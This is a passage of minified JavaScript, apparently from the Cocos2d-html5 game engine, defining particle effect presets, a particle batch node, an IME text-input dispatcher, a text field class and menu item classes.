- b.IH=b.o.extend({ctor:function(){b.o.prototype.ctor.call(this,b.B===b.W?1500:150)},Pb:function(a){return b.o.prototype.Pb.call(this,a)?(this.Yf(b.o.Sh),this.Sg(b.o.eb),this.$f(b.d(0,-90)),this.ag(0),this.bg(0),this.Oe(180),this.cg(50),a=b.J.ya(),this.T(a.width/2,a.height/2),this.Pg(90),this.Qg(20),this.Ug(3.5),this.Vg(1),this.Rg(this.mb/this.Me),this.Pe(b.color(128,128,128,255)),this.dg(b.color(128,128,128,255)),this.Ne(b.color(26,26,26,51)),this.Zf(b.color(26,26,26,51)),this.Xg(8),this.Yg(2),this.Tg(b.o.ng),
- this.Ph(!1),!0):!1}});b.IH.create=function(){return new b.IH};
- b.QH=b.o.extend({ctor:function(){b.o.prototype.ctor.call(this,b.B===b.W?350:150)},Pb:function(a){return b.o.prototype.Pb.call(this,a)?(this.Ph(!0),this.Yf(b.o.Sh),this.Sg(b.o.eb),this.$f(b.d(0,0)),this.ag(0),this.bg(0),this.Oe(20),this.cg(5),this.Pg(90),this.Qg(360),a=b.J.ya(),this.T(a.width/2,a.height/2),this.Wg(b.d(0,0)),this.Ug(1),this.Vg(0.5),this.Xg(30),this.Yg(10),this.Tg(b.o.ng),this.Rg(this.mb/this.Me),this.Pe(b.color(194,64,31,255)),this.dg(b.color(0,0,0,0)),this.Ne(b.color(0,0,0,255)),this.Zf(b.color(0,
- 0,0,0)),!0):!1}});b.QH.create=function(){return new b.QH};
- b.KH=b.o.extend({ctor:function(){b.o.prototype.ctor.call(this,b.B===b.W?200:100)},Pb:function(a){return b.o.prototype.Pb.call(this,a)?(this.Yf(b.o.Sh),this.Sg(b.o.eb),this.$f(b.d(0,0)),this.Oe(60),this.cg(10),this.ag(-80),this.bg(0),this.Rj(80),this.Sj(0),this.Pg(90),this.Qg(360),a=b.J.ya(),this.T(a.width/2,a.height/2),this.Wg(b.d(0,0)),this.Ug(4),this.Vg(1),this.Xg(37),this.Yg(10),this.Tg(b.o.ng),this.Rg(this.mb/this.Me),this.Pe(b.color(31,64,194,255)),this.dg(b.color(0,0,0,0)),this.Ne(b.color(0,
- 0,0,255)),this.Zf(b.color(0,0,0,0)),this.Ph(!0),!0):!1}});b.KH.create=function(){return new b.KH};
- b.JH=b.o.extend({ctor:function(){b.o.prototype.ctor.call(this,b.B===b.W?250:100)},Pb:function(a){return b.o.prototype.Pb.call(this,a)?(this.Yf(b.o.Sh),this.Sg(b.o.eb),this.$f(b.d(0,0)),this.Oe(80),this.cg(10),this.ag(-60),this.bg(0),this.Rj(15),this.Sj(0),this.Pg(90),this.Qg(360),a=b.J.ya(),this.T(a.width/2,a.height/2),this.Wg(b.d(0,0)),this.Ug(4),this.Vg(1),this.Xg(30),this.Yg(10),this.Tg(b.o.ng),this.Rg(this.mb/this.Me),this.Pe(b.color(128,128,128,255)),this.dg(b.color(128,128,128,128)),this.Ne(b.color(0,
- 0,0,255)),this.Zf(b.color(0,0,0,0)),this.Ph(!0),!0):!1}});b.JH.create=function(){return new b.JH};
- b.LH=b.o.extend({ctor:function(){b.o.prototype.ctor.call(this,b.B===b.W?150:100)},Pb:function(a){return b.o.prototype.Pb.call(this,a)?(this.Yf(b.o.Sh),this.Sg(b.o.eb),this.$f(b.d(-200,200)),this.Oe(15),this.cg(5),this.ag(0),this.bg(0),this.Rj(0),this.Sj(0),this.Pg(90),this.Qg(360),a=b.J.ya(),this.T(a.width/2,a.height/2),this.Wg(b.d(0,0)),this.Ug(2),this.Vg(1),this.Xg(60),this.Yg(10),this.Tg(b.o.ng),this.Rg(this.mb/this.Me),this.Pe(b.color(51,102,179)),this.dg(b.color(0,0,51,26)),this.Ne(b.color(0,
- 0,0,255)),this.Zf(b.color(0,0,0,0)),this.Ph(!0),!0):!1}});b.LH.create=function(){return new b.LH};
- b.PH=b.o.extend({ctor:function(){b.o.prototype.ctor.call(this,b.B===b.W?500:100)},Pb:function(a){return b.o.prototype.Pb.call(this,a)?(this.Yf(b.o.Sh),this.Sg(b.o.eb),this.$f(b.d(0,0)),this.Oe(150),this.cg(0),this.ag(-380),this.bg(0),this.Rj(45),this.Sj(0),this.Pg(90),this.Qg(0),a=b.J.ya(),this.T(a.width/2,a.height/2),this.Wg(b.d(0,0)),this.Ug(12),this.Vg(0),this.Xg(20),this.Yg(0),this.Tg(b.o.ng),this.Rg(this.mb/this.Me),this.Pe(b.color(128,128,128,255)),this.dg(b.color(128,128,128,0)),this.Ne(b.color(128,
- 128,128,255)),this.Zf(b.color(128,128,128,0)),this.Ph(!1),!0):!1}});b.PH.create=function(){return new b.PH};
- b.GH=b.o.extend({ctor:function(){b.o.prototype.ctor.call(this,b.B===b.W?700:300)},Pb:function(a){return b.o.prototype.Pb.call(this,a)?(this.Yf(0.1),this.Sg(b.o.eb),this.$f(b.d(0,0)),this.Oe(70),this.cg(40),this.ag(0),this.bg(0),this.Rj(0),this.Sj(0),this.Pg(90),this.Qg(360),a=b.J.ya(),this.T(a.width/2,a.height/2),this.Wg(b.d(0,0)),this.Ug(5),this.Vg(2),this.Xg(15),this.Yg(10),this.Tg(b.o.ng),this.Rg(this.mb/this.np()),this.Pe(b.color(179,26,51,255)),this.dg(b.color(128,128,128,0)),this.Ne(b.color(128,
- 128,128,0)),this.Zf(b.color(128,128,128,0)),this.Ph(!1),!0):!1}});b.GH.create=function(){return new b.GH};
- b.NH=b.o.extend({ctor:function(){b.o.prototype.ctor.call(this,b.B===b.W?200:100)},Pb:function(a){return b.o.prototype.Pb.call(this,a)?(this.Yf(b.o.Sh),this.Sg(b.o.eb),this.$f(b.d(0,0)),this.ag(0),this.bg(0),this.Oe(25),this.cg(10),this.Pg(90),this.Qg(5),a=b.J.ya(),this.T(a.width/2,0),this.Wg(b.d(20,0)),this.Ug(4),this.Vg(1),this.Xg(60),this.Yg(10),this.Tg(b.o.ng),this.Rg(this.mb/this.Me),this.Pe(b.color(204,204,204,255)),this.dg(b.color(5,5,5,0)),this.Ne(b.color(0,0,0,255)),this.Zf(b.color(0,0,0,
- 0)),this.Ph(!1),!0):!1}});b.NH.create=function(){return new b.NH};
- b.OH=b.o.extend({ctor:function(){b.o.prototype.ctor.call(this,b.B===b.W?700:250)},Pb:function(a){return b.o.prototype.Pb.call(this,a)?(this.Yf(b.o.Sh),this.Sg(b.o.eb),this.$f(b.d(0,-1)),this.Oe(5),this.cg(1),this.ag(0),this.bg(1),this.Rj(0),this.Sj(1),a=b.J.ya(),this.T(a.width/2,a.height+10),this.Wg(b.d(a.width/2,0)),this.Pg(-90),this.Qg(5),this.Ug(45),this.Vg(15),this.Xg(10),this.Yg(5),this.Tg(b.o.ng),this.Rg(10),this.Pe(b.color(255,255,255,255)),this.dg(b.color(0,0,0,0)),this.Ne(b.color(255,255,
- 255,0)),this.Zf(b.color(0,0,0,0)),this.Ph(!1),!0):!1}});b.OH.create=function(){return new b.OH};
- b.MH=b.o.extend({ctor:function(){b.o.prototype.ctor.call(this,b.B===b.W?1E3:300)},Pb:function(a){return b.o.prototype.Pb.call(this,a)?(this.Yf(b.o.Sh),this.Sg(b.o.eb),this.$f(b.d(10,-10)),this.ag(0),this.bg(1),this.Rj(0),this.Sj(1),this.Oe(130),this.cg(30),this.Pg(-90),this.Qg(5),a=b.J.ya(),this.T(a.width/2,a.height),this.Wg(b.d(a.width/2,0)),this.Ug(4.5),this.Vg(0),this.Xg(4),this.Yg(2),this.Tg(b.o.ng),this.Rg(20),this.Pe(b.color(179,204,255,255)),this.dg(b.color(0,0,0,0)),this.Ne(b.color(179,204,
- 255,128)),this.Zf(b.color(0,0,0,0)),this.Ph(!1),!0):!1}});b.MH.create=function(){return new b.MH};b.Q8=500;
- b.Oz=b.m.extend({textureAtlas:null,w9:!0,s:null,ub:"ParticleBatchNode",ctor:function(a,c){b.m.prototype.ctor.call(this);this.s={src:b.ac,R:b.$b};"string"==typeof a?this.ba(a,c):a instanceof b.da&&this.sa(a,c)},sa:function(a,c){this.textureAtlas=new b.Wh;this.textureAtlas.sa(a,c);this.u.length=0;b.B===b.W&&(this.shaderProgram=b.Hd.nc(b.Vi));return!0},dl:function(a,c){var d=b.Ea.Dc(a);return this.sa(d,c)},ba:function(a,c){var d=b.v9.Uca().Dc(a);return this.sa(d,c)},M:function(a,c,d){if(!a)throw"cc.ParticleBatchNode.addChild() : child should be non-null";if(!(a instanceof
- b.o))throw"cc.ParticleBatchNode.addChild() : only supports cc.ParticleSystem as children";c=null==c?a.zIndex:c;d=null==d?a.tag:d;if(a.Ca()!=this.textureAtlas.texture)throw"cc.ParticleSystem.addChild() : the child is not using the same texture id";var e=a.Gh();if(0===this.u.length)this.pe(e);else if(e.src!=this.s.src||e.R!=this.s.R){b.log("cc.ParticleSystem.addChild() : Can't add a ParticleSystem that uses a different blending function");return}c=this.XA(a,c,d);d=0;0!=c?(c=this.u[c-1],d=c.mp()+c.mb):
- d=0;this.wF(a,d);a.ol(this)},wF:function(a,c){var d=a.mb,e=this.textureAtlas,f=e.totalQuads;a.gG(c);f+d>e.wd&&(this.uX(f+d),e.uN(e.wd-d,d));a.mp()+d!=f&&e.RO(c,c+d);e.hO(d);this.ND()},removeChild:function(a,c){if(null!=a){if(!(a instanceof b.o))throw"cc.ParticleBatchNode.removeChild(): only supports cc.ParticleSystem as children";if(-1==this.u.indexOf(a))b.log("cc.ParticleBatchNode.removeChild(): doesn't contain the sprite. Can't remove it");else{b.m.prototype.removeChild.call(this,a,c);var d=this.textureAtlas;
- d.x4(a.mp(),a.mb);d.uN(d.totalQuads,a.mb);a.ol(null);this.ND()}}},Lp:function(a,c){if(!a)throw"cc.ParticleBatchNode.reorderChild(): child should be non-null";if(!(a instanceof b.o))throw"cc.ParticleBatchNode.reorderChild(): only supports cc.QuadParticleSystems as children";if(-1===this.u.indexOf(a))b.log("cc.ParticleBatchNode.reorderChild(): Child doesn't belong to batch");else if(c!=a.zIndex){if(1<this.u.length){var d=this.RW(a,c);if(d.UO!=d.SO){this.u.splice(d.UO,1);this.u.splice(d.SO,0,a);d=a.mp();
- this.ND();for(var e=0,f=this.u,g=0;g<f.length;g++)if(f[g]==a){e=a.mp();break}this.textureAtlas.RO(d,a.mb,e);a.P6()}}a.ow(c)}},u4:function(a,c){this.removeChild(this.u[U],c)},Xf:function(a){for(var c=this.u,d=0;d<c.length;d++)c[d].ol(null);b.m.prototype.Xf.call(this,a);this.textureAtlas.oP()},a0:function(a){a=this.textureAtlas.quads[a];a.O.i.x=a.O.i.y=a.L.i.x=a.L.i.y=a.N.i.x=a.N.i.y=a.F.i.x=a.F.i.y=0;this.textureAtlas.Nk(!0)},Z:function(){b.B!==b.Aa&&0!=this.textureAtlas.totalQuads&&(b.Xs(this),b.cO(this.s.src,
- this.s.R),this.textureAtlas.kN())},Ca:function(){return this.textureAtlas.texture},Ya:function(a){this.textureAtlas.texture=a;var c=this.s;a&&!a.Ai()&&c.src==b.ac&&c.R==b.$b&&(c.src=b.SRC_ALPHA,c.R=b.ONE_MINUS_SRC_ALPHA)},pe:function(a,c){void 0===c?(this.s.src=a.src,this.s.R=a.R):(this.s.src=a,this.s.src=c)},Gh:function(){return{src:this.s.src,R:this.s.R}},U:function(a){b.B!==b.Aa&&this.Zb&&(b.Gj(),this.grid&&this.grid.nf()&&(this.grid.xs(),this.Ty()),this.transform(a),this.Z(a),this.grid&&this.grid.nf()&&
- this.grid.ts(this),b.Fj())},ND:function(){for(var a=0,c=this.u,d=0;d<c.length;d++){var e=c[d];e.gG(a);a+=e.mb}},uX:function(a){b.log("cocos2d: cc.ParticleBatchNode: resizing TextureAtlas capacity from ["+this.textureAtlas.wd+"] to ["+a+"].");this.textureAtlas.$F(a)||b.log("cc.ParticleBatchNode._increaseAtlasCapacityTo() : WARNING: Not enough memory to resize the atlas")},GY:function(a){for(var c=this.u,d=c.length,e=0;e<d;e++)if(c[e].zIndex>a)return e;return d},RW:function(a,c){for(var d=!1,e=!1,f=
- 0,g=0,h=0,k=this.u,m=k.length,p=0;p<m;p++){var q=k[p];if(q.zIndex>c&&!e&&(f=p,e=!0,d&&e))break;if(a==q&&(g=p,d=!0,e||(h=-1),d&&e))break}e||(f=m);return{SO:f+h,UO:g}},XA:function(a,c,d){if(!a)throw"cc.ParticleBatchNode._addChildHelper(): child should be non-null";if(a.parent)return b.log("cc.ParticleBatchNode._addChildHelper(): child already added. It can't be added again"),null;this.u||(this.u=[]);var e=this.GY(c);this.u.splice(e,0,a);a.tag=d;a.ow(c);a.parent=this;this.sh&&(a.aa(),a.Nh());return e},
- Nf:function(){this.textureAtlas.texture.Ai()||(this.s.src=b.SRC_ALPHA,this.s.R=b.ONE_MINUS_SRC_ALPHA)},gF:function(){return this.textureAtlas},vG:function(a){this.textureAtlas=a}});n=b.Oz.prototype;b.j(n,"texture",n.Ca,n.Ya);b.Oz.create=function(a,c){return new b.Oz(a,c)};b.j8=function(a,c,d){this.Dh=a||b.rect(0,0,0,0);this.end=c||b.rect(0,0,0,0);this.duration=d||0};b.i8=b.oa.extend({ctor:function(){b.Bi.zM(this)},qy:function(){b.Bi.qy(this)},u_:function(){return b.Bi.GM(this)},hN:function(){return b.Bi.gN(this)},qE:function(){return!1},Z_:function(){},rE:function(){return!1},$_:function(){},vO:function(){},dN:function(){},TE:function(){return""},a3:function(){},Y2:function(){},Z2:function(){},X2:function(){}});
- b.yz=b.oa.extend({hc:null,Sa:null,$i:"",Xl:null,ctor:function(){this.Sa=new b.yz.cS;this.Xl=b.d(0,0)},ba:function(){if(!b.pa.Mg){this.hc=b.rb("#imeDispatcherInput");this.hc||(this.hc=b.MQ(),this.hc.setAttribute("type","text"),this.hc.setAttribute("id","imeDispatcherInput"),this.hc.resize(0,0),this.hc.uQ(0,0),this.hc.style.opacity="0",this.hc.style.fontSize="1px",this.hc.setAttribute("tabindex",2),this.hc.style.position="absolute",this.hc.style.top=0,this.hc.style.left=0,document.body.appendChild(this.hc));
- var a=this;b.Ha(this.hc,"input",function(){a.LC(a.hc.value)},!1);b.Ha(this.hc,"keydown",function(c){c.keyCode===b.vq.q6?(c.stopPropagation(),c.preventDefault()):c.keyCode==b.vq.mN&&(a.Es("\n",1),c.stopPropagation(),c.preventDefault())},!1);/msie/i.test(navigator.userAgent)&&b.Ha(this.hc,"keyup",function(c){c.keyCode==b.vq.HM&&a.LC(a.hc.value)},!1);b.Ha(window,"mousedown",function(c){var d=c.pageY||0;a.Xl.x=c.pageX||0;a.Xl.y=d},!1)}},LC:function(a){var c,d;c=this.$i.length<a.length?this.$i.length:
- a.length;for(d=0;d<c&&a[d]===this.$i[d];d++);var e=this.$i.length-d,f=a.length-d;for(c=0;c<e;c++)this.iN();for(c=0;c<f;c++)this.Es(a[d+c],1);this.$i=a},Es:function(a,c){!this.Sa||!a||0>=c||this.Sa.ae&&this.Sa.ae.vO(a,c)},iN:function(){this.Sa&&this.Sa.ae&&this.Sa.ae.dN()},TE:function(){if(this.Sa&&this.Sa.ae){var a=this.Sa.ae.TE();return a?a:""}return""},Saa:function(){if(this.Sa)for(var a=0;a<this.Sa.tg.length;a++);},Qaa:function(){if(this.Sa)for(var a=0;a<this.Sa.tg.length;a++);},Raa:function(){if(this.Sa)for(var a=
- 0;a<this.Sa.tg.length;a++);},Paa:function(){if(this.Sa)for(var a=0;a<this.Sa.tg.length;a++);},zM:function(a){a&&this.Sa&&(-1<this.Sa.tg.indexOf(a)||this.Sa.tg.splice(0,0,a))},GM:function(a){if(!this.Sa||!a||-1==this.Sa.tg.indexOf(a))return!1;if(this.Sa.ae){if(!this.Sa.ae.rE()||!a.qE())return!1;this.Sa.ae=null;this.nK(a);return!0}if(!a.qE())return!1;this.nK(a);return!0},nK:function(a){b.pa.Mg?(this.Sa.ae=a,this.$i=a.string||"",a=prompt("please enter your word:",this.$i),null!=a&&this.LC(a),this.Es("\n",
- 1)):(this.Sa.ae=a,this.$i=a.string||"",this.hc.focus(),this.hc.value=this.$i,this.tW())},tW:function(){/msie/i.test(navigator.userAgent)?(this.hc.style.left=this.Xl.x+"px",this.hc.style.top=this.Xl.y+"px"):this.hc.uQ(this.Xl.x,this.Xl.y)},gN:function(a){if(!this.Sa||!a||this.Sa.ae!=a||!a.rE())return!1;this.Sa.ae=null;b.Wa.focus();return!0},qy:function(a){this.Sa&&a&&-1!=this.Sa.tg.indexOf(a)&&(this.Sa.ae&&a==this.Sa.ae&&(this.Sa.ae=null),b.Je(this.Sa.tg,a))},qia:function(a){32>a?a==b.vq.HM?this.iN():
- a==b.vq.mN&&this.Es("\n",1):255>a&&this.Es(String.fromCharCode(a),1)}});b.yz.cS=b.oa.extend({ae:null,tg:null,ctor:function(){this.tg=[]},Pba:function(a){for(var c=0;c<this.tg.length;c++)if(this.tg[c]==a)return c;return null}});b.Bi=new b.yz;document.body?b.Bi.ba():b.Ha(window,"load",function(){b.Bi.ba()},!1);b.u9=b.oa.extend({Mha:function(){return!1},Oha:function(){return!1},Pha:function(){return!1},Nha:function(){return!1},Iha:function(){return!1}});
- b.xA=b.P.extend({cN:null,bx:null,k$:null,Gf:"",gm:"",$u:0,ub:"TextFieldTTF",ctor:function(a,c,d,e,f){this.bx=b.color(127,127,127);b.Bi.zM(this);b.P.prototype.ctor.call(this);void 0!==f?(this.w2("",c,d,e,f),a&&this.pt(a)):void 0===e&&void 0!==d&&(this.pd("",c,d),a&&this.pt(a))},a1:function(){return this.cN},Y4:function(a){this.cN=a},V0:function(){return this.$u},lca:function(){return this.bx},Cja:function(a){this.bx=a},w2:function(a,c,d,e,f){switch(arguments.length){case 5:return a&&this.pt(a),this.pd(this.gm,
- e,f,c,d);case 3:return a&&this.pt(a),this.pd(this.gm,arguments[1],arguments[2]);default:throw"Argument must be non-nil ";}},ed:function(a){this.Gf=(a=String(a))||"";this.Gf.length?b.P.prototype.ed.call(this,this.Gf):b.P.prototype.ed.call(this,this.gm);this.$u=this.Gf.length},bl:function(){return this.Gf},pt:function(a){this.gm=a||"";this.Gf.length||b.P.prototype.ed.call(this,this.gm)},I1:function(){return this.gm},Z:function(a){a=a||b.l;if(this.Gf&&0<this.Gf.length)b.P.prototype.Z.call(this,a);else{var c=
- this.color;this.color=this.bx;b.B===b.Aa&&this.Qw();b.P.prototype.Z.call(this,a);this.color=c}},U:function(a){this._super(a)},u_:function(){return b.Bi.GM(this)},hN:function(){return b.Bi.gN(this)},qE:function(){return!0},Z_:function(){},rE:function(){return!0},$_:function(){},dN:function(){var a=this.Gf.length;0!=a&&(1>=a?(this.Gf="",this.$u=0,b.P.prototype.ed.call(this,this.gm)):this.string=this.Gf.substring(0,a-1))},qy:function(){b.Bi.qy(this)},vO:function(a){var c=a;a=c.indexOf("\n");-1<a&&(c=
- c.substring(0,a));0<c.length&&(c=this.Gf+c,this.$u=c.length,this.string=c);-1!=a&&this.hN()},TE:function(){return this.Gf},a3:function(){},Y2:function(){},Z2:function(){},X2:function(){}});n=b.xA.prototype;b.j(n,"charCount",n.V0);b.j(n,"placeHolder",n.I1,n.pt);b.xA.create=function(a,c,d,e,f){return new b.xA(a,c,d,e,f)};b.yv=b.bS;b.yr="Arial";b.zK=!1;
- b.yc=b.m.extend({bf:!1,ie:null,Yd:null,Dr:!1,ub:"MenuItem",ctor:function(a,c){var d=b.m.prototype;d.ctor.call(this);this.Yd=this.ie=null;this.bf=this.Dr=!1;d.nl.call(this,0.5,0.5);this.ie=c||null;if(this.Yd=a||null)this.bf=!0},bfa:function(){return this.Dr},rf:function(){},Uf:function(){return!1},uG:function(a,c){this.ie=c;this.Yd=a},isEnabled:function(){return this.bf},qe:function(a){this.bf=a},Os:function(a,c){this.anchorY=this.anchorX=0.5;this.ie=c;this.Yd=a;this.bf=!0;this.Dr=!1;return!0},rect:function(){var a=
- this.xa,c=this.Q,d=this.Kc;return b.rect(a.x-c.width*d.x,a.y-c.height*d.y,c.width,c.height)},selected:function(){this.Dr=!0},Qh:function(){this.Dr=!1},xja:function(a,c){this.ie=c;this.Yd=a},ss:function(){if(this.bf){var a=this.ie,c=this.Yd;if(c)if(a&&"string"==typeof c)a[c](this);else a&&"function"==typeof c?c.call(a,this):c(this)}}});n=b.yc.prototype;b.j(n,"enabled",n.isEnabled,n.qe);b.yc.create=function(a,c){return new b.yc(a,c)};
- b.Cl=b.yc.extend({eo:null,Xc:null,kY:0,br:null,ctor:function(a,c,d){b.yc.prototype.ctor.call(this,c,d);this.Xc=this.eo=null;this.kY=0;this.br=null;a&&(this.Lr=1,this.br=b.color.WHITE,this.eo=b.color(126,126,126),this.Ey(a),this.cascadeOpacity=this.cascadeColor=!0)},c1:function(){return this.eo},Z4:function(a){this.eo=a},q1:function(){return this.Xc},Ey:function(a){a&&(this.M(a),a.anchorX=0,a.anchorY=0,this.width=a.width,this.height=a.height);this.Xc&&this.removeChild(this.Xc,!0);this.Xc=a},qe:function(a){if(this.bf!=
- a){var c=this.Xc;a?c.color=this.br:(this.br=c.color,c.color=this.eo)}b.yc.prototype.qe.call(this,a)},Ta:function(a){this.Xc.opacity=a},Ig:function(){return this.Xc.opacity},nb:function(a){this.Xc.color=a},Hg:function(){return this.Xc.color},oO:function(a,c,d){this.Os(c,d);this.Lr=1;this.br=b.color.WHITE;this.eo=b.color(126,126,126);this.Ey(a);return this.cascadeOpacity=this.cascadeColor=!0},ed:function(a){this.Xc.string=a;this.width=this.Xc.width;this.height=this.Xc.height},bl:function(){return this.Xc.string},
- ss:function(){this.bf&&(this.DG(),this.scale=this.Lr,b.yc.prototype.ss.call(this))},selected:function(){if(this.bf){b.yc.prototype.selected.call(this);var a=this.RE(b.Hu);a?this.k6(a):this.Lr=this.scale;a=b.Dl.create(0.1,1.2*this.Lr);a.Ly(b.Hu);this.cb(a)}},Qh:function(){if(this.bf){b.yc.prototype.Qh.call(this);this.l6(b.Hu);var a=b.Dl.create(0.1,this.Lr);a.Ly(b.Hu);this.cb(a)}}});n=b.Cl.prototype;b.j(n,"string",n.bl,n.ed);b.j(n,"disabledColor",n.c1,n.Z4);b.j(n,"label",n.q1,n.Ey);
- b.Cl.create=function(a,c,d){return new b.Cl(a,c,d)};b.tH=b.Cl.extend({ctor:function(a,c,d,e,f,g,h){var k;a&&0<a.length&&(k=b.Uh.create(a,c,d,e,f));b.Cl.prototype.ctor.call(this,k,g,h)},pd:function(a,c,d,e,f,g,h){if(!a||0==a.length)throw"cc.MenuItemAtlasFont.initWithString(): value should be non-null and its length should be greater than 0";var k=new b.Uh;k.pd(a,c,d,e,f);this.oO(k,g,h);return!0}});b.tH.create=function(a,c,d,e,f,g,h){return new b.tH(a,c,d,e,f,g,h)};
- b.Bl=b.Cl.extend({Mb:null,Tb:null,ctor:function(a,c,d){var e;a&&0<a.length?(this.Tb=b.yr,this.Mb=b.yv,e=b.P.create(a,this.Tb,this.Mb)):(this.Mb=0,this.Tb="");b.Cl.prototype.ctor.call(this,e,c,d)},pd:function(a,c,d){if(!a||0==a.length)throw"Value should be non-null and its length should be greater than 0";this.Tb=b.yr;this.Mb=b.yv;a=b.P.create(a,this.Tb,this.Mb);this.oO(a,c,d);return!0},Dy:function(a){this.Mb=a;this.zL()},XE:function(){return this.Mb},Cy:function(a){this.Tb=a;this.zL()},WE:function(){return this.Tb},
- zL:function(){var a=b.P.create(this.Xc.string,this.Tb,this.Mb);this.Ey(a)}});b.Bl.Dy=function(a){b.yv=a};b.Bl.fontSize=function(){return b.yv};b.Bl.Cy=function(a){b.zK&&(b.yr="");b.yr=a;b.zK=!0};n=b.Bl.prototype;b.j(n,"fontSize",n.XE,n.Dy);b.j(n,"fontName",n.WE,n.Cy);b.Bl.fontName=function(){return b.yr};b.Bl.create=function(a,c,d){return new b.Bl(a,c,d)};
- b.Fn=b.yc.extend({hd:null,Fe:null,xe:null,ctor:function(a,c,d,e,f){b.yc.prototype.ctor.call(this);this.xe=this.Fe=this.hd=null;if(void 0!==c){var g,h,k;void 0!==f?(g=d,k=e,h=f):void 0!==e&&"function"===typeof e?(g=d,k=e):void 0!==e&&"function"===typeof d?(h=e,k=d,g=b.D.create(c)):void 0===d&&(g=b.D.create(c));this.qO(a,c,g,k,h)}},C1:function(){return this.hd},oG:function(a){this.hd!=a&&(a&&(this.M(a,0,b.zS),a.anchorX=0,a.anchorY=0),this.hd&&this.removeChild(this.hd,!0),this.hd=a,this.width=this.hd.width,
- this.height=this.hd.height,this.Mw(),a.wt&&!a.ma&&a.Td(function(a){this.width=a.width;this.height=a.height},this))},S1:function(){return this.Fe},rG:function(a){this.Fe!=a&&(a&&(this.M(a,0,b.mT),a.anchorX=0,a.anchorY=0),this.Fe&&this.removeChild(this.Fe,!0),this.Fe=a,this.Mw())},d1:function(){return this.xe},lG:function(a){this.xe!=a&&(a&&(this.M(a,0,b.sR),a.anchorX=0,a.anchorY=0),this.xe&&this.removeChild(this.xe,!0),this.xe=a,this.Mw())},qO:function(a,c,d,e,f){this.Os(e,f);this.oG(a);this.rG(c);
- this.lG(d);if(a=this.hd)this.width=a.width,this.height=a.height,a.wt&&!a.ma&&a.Td(function(a){this.width=a.width;this.height=a.height;this.cascadeOpacity=this.cascadeColor=!0},this);return this.cascadeOpacity=this.cascadeColor=!0},nb:function(a){this.hd.color=a;this.Fe&&(this.Fe.color=a);this.xe&&(this.xe.color=a)},Hg:function(){return this.hd.color},Ta:function(a){this.hd.opacity=a;this.Fe&&(this.Fe.opacity=a);this.xe&&(this.xe.opacity=a)},Ig:function(){return this.hd.opacity},selected:function(){b.yc.prototype.selected.call(this);
- this.hd&&(this.xe&&(this.xe.visible=!1),this.Fe?(this.hd.visible=!1,this.Fe.visible=!0):this.hd.visible=!0)},Qh:function(){b.yc.prototype.Qh.call(this);this.hd&&(this.hd.visible=!0,this.Fe&&(this.Fe.visible=!1),this.xe&&(this.xe.visible=!1))},qe:function(a){this.bf!=a&&(b.yc.prototype.qe.call(this,a),this.Mw())},Mw:function(){var a=this.hd,c=this.Fe,d=this.xe;this.bf?(a&&(a.visible=!0),c&&(c.visible=!1),d&&(d.visible=!1)):d?(a&&(a.visible=!1),c&&(c.visible=!1),d&&(d.visible=!0)):(a&&(a.visible=!0),
- c&&(c.visible=!1))}});n=b.Fn.prototype;b.j(n,"normalImage",n.C1,n.oG);b.j(n,"selectedImage",n.S1,n.rG);b.j(n,"disabledImage",n.d1,n.lG);b.Fn.create=function(a,c,d,e,f){return new b.Fn(a,c,d,e,f||void 0)};
- b.En=b.Fn.extend({ctor:function(a,c,d,e,f){var g=null,h=null,k=null,m=null,p=null;void 0===a?b.Fn.prototype.ctor.call(this):(g=b.D.create(a),c&&(h=b.D.create(c)),void 0===e?m=d:void 0===f?(m=d,p=e):f&&(k=b.D.create(d),m=e,p=f),b.Fn.prototype.ctor.call(this,g,h,k,m,p))},nka:function(a){this.oG(b.D.create(a))},Jka:function(a){this.rG(b.D.create(a))},Mja:function(a){this.lG(b.D.create(a))},Gea:function(a,c,d,e,f){var g=null,h=null,k=null;a&&(g=b.D.create(a));c&&(h=b.D.create(c));d&&(k=b.D.create(d));
- return this.qO(g,h,k,e,f)}});b.En.create=function(a,c,d,e,f){return new b.En(a,c,d,e,f)};
- b.Gz=b.yc.extend({rd:null,th:0,Pd:null,$d:null,ctor:function(){b.yc.prototype.ctor.call(this);this.th=0;this.rd=[];this.Pd=0;this.$d=b.color.WHITE;0<arguments.length&&this.rF(Array.prototype.slice.apply(arguments))},Ig:function(){return this.Pd},Ta:function(a){this.Pd=a;if(this.rd&&0<this.rd.length)for(var c=0;c<this.rd.length;c++)this.rd[c].opacity=a;this.$d.a=a},Hg:function(){var a=this.$d;return b.color(a.r,a.g,a.b,a.a)},nb:function(a){var c=this.$d;c.r=a.r;c.g=a.g;c.b=a.b;if(this.rd&&0<this.rd.length)for(c=
- 0;c<this.rd.length;c++)this.rd[c].nb(a);void 0===a.a||a.wM||this.Ta(a.a)},T1:function(){return this.th},Jy:function(a){if(a!=this.th){this.th=a;(a=this.Hh(b.YG))&&a.ry(!1);a=this.rd[this.th];this.M(a,0,b.YG);var c=a.width,d=a.height;this.width=c;this.height=d;a.T(c/2,d/2)}},Yda:function(){return this.rd},Pka:function(a){this.rd=a},rF:function(a){var c=a.length;"function"===typeof a[a.length-2]?(this.Os(a[a.length-2],a[a.length-1]),c-=2):"function"===typeof a[a.length-1]?(this.Os(a[a.length-1],null),
- c-=1):this.Os(null,null);for(var d=this.rd,e=d.length=0;e<c;e++)a[e]&&d.push(a[e]);this.th=b.RI;this.Jy(0);return this.cascadeOpacity=this.cascadeColor=!0},N$:function(a){this.rd.push(a)},ss:function(){this.bf&&this.Jy((this.th+1)%this.rd.length);b.yc.prototype.ss.call(this)},selected:function(){b.yc.prototype.selected.call(this);this.rd[this.th].selected()},Qh:function(){b.yc.prototype.Qh.call(this);this.rd[this.th].Qh()},qe:function(a){if(this.bf!=a){b.yc.prototype.qe.call(this,a);var c=this.rd;
- if(c&&0<c.length)for(var d=0;d<c.length;d++)c[d].enabled=a}},lja:function(){return this.rd[this.th]},aa:function(){b.m.prototype.aa.call(this);this.Jy(this.th)}});n=b.Gz.prototype;b.j(n,"selectedIndex",n.T1,n.Jy);b.Gz.create=function(){0<arguments.length&&null==arguments[arguments.length-1]&&b.log("parameters should not be ending with null in Javascript");var a=new b.Gz;a.rF(Array.prototype.slice.apply(arguments));return a};b.xq=0;b.wq=1;b.F8=-128;b.$G=5;
